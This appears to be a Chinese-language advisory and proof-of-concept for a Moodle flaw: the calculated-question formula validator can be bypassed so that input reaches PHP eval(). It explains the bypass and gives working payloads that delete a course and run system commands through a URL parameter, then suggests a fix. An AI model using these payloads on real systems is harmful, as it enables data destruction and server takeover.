应用名称:Moodle
构建版本:moodle-4.4.1
受影响版本:4.4 至 4.4.1、4.3 至 4.3.5、4.2 至 4.2.8、4.1 至 4.1.11,以及之前不受支持的版本
下载链接:moodle-4.4.1
拥有在 Moodle 课程中创建或修改问题权限的攻击者,可以为计算题构造恶意输入,进而可能被滥用以在底层系统上执行任意命令。

函数 qtype_calculated_find_formula_errors 用于确保在 Moodle 中输入的公式的有效性,防止语法错误。

变量会被替换为数字 1.0,公式会被转换为小写并删除空格。


主要验证逻辑通过遍历公式并识别最内层左侧的数学表达式来实现,该表达式可以通过缺少嵌套括号来区分。然后,这个表达式会被替换为 1.0。

最后,当正则表达式不再返回任何额外匹配项时,如果公式仅包含安全的运算符或数字,则该公式被视为有效,原始公式才被传递给 eval。
结果验证是通过在过滤不完整的情况下将公式传递给 php eval() 函数来完成的。有两种方法可以绕过验证逻辑:

替换诸如 {a} 之类的变量占位符时,其值会被包裹在 () 中,如果我们把 {a} 添加到上述对应于 'PRINTF' 的表达式中,结果将是 'PRINTF'(1),因此可以定义一个包含两部分的答案公式:a (function_name) 和 a {variable}。
2) 未定义的变量在传递给 eval() 函数之前不会被替换,因此它们作为公式的一部分不会受到影响。此外,对变量名的清理检查不如对所有其他公式部分实施的检查严格。这种滥用可以用于在使用 php object->{"member"} 语法时调用任意函数。
创建一个带有变量的计算题,例如 {a}

保存问题,并将变量的取值范围精确设置为课程 ID,即 3。

保存问题,然后将表达式重新编辑为:
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

保存修改后的问题会导致错误,但问题仍会被保存。返回题库并预览该问题,DELETE_COURSE 函数将删除指定 ID 的课程,并绕过所有权限检查。


创建一个计算题,将答案公式设置为:
(1)->{system($_GET[chr(97)])}

表达式被修改为 1-0-system($_GET{chr(97)})

拦截请求并将其修改回 (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

出现错误:exception-system():Argument#1($command) cannotbe empty

通过在 URL 中添加 &a=[arbitrary command] 来提供所需命令。指定系统命令的输出将被放入结果 HTTP 响应的开头。
A=id

A=ls

修改清理函数 qtype_calculated_find_formula_errors,使 /question/type/calculated/questiontype.php 在计算题未被使用时始终返回 false。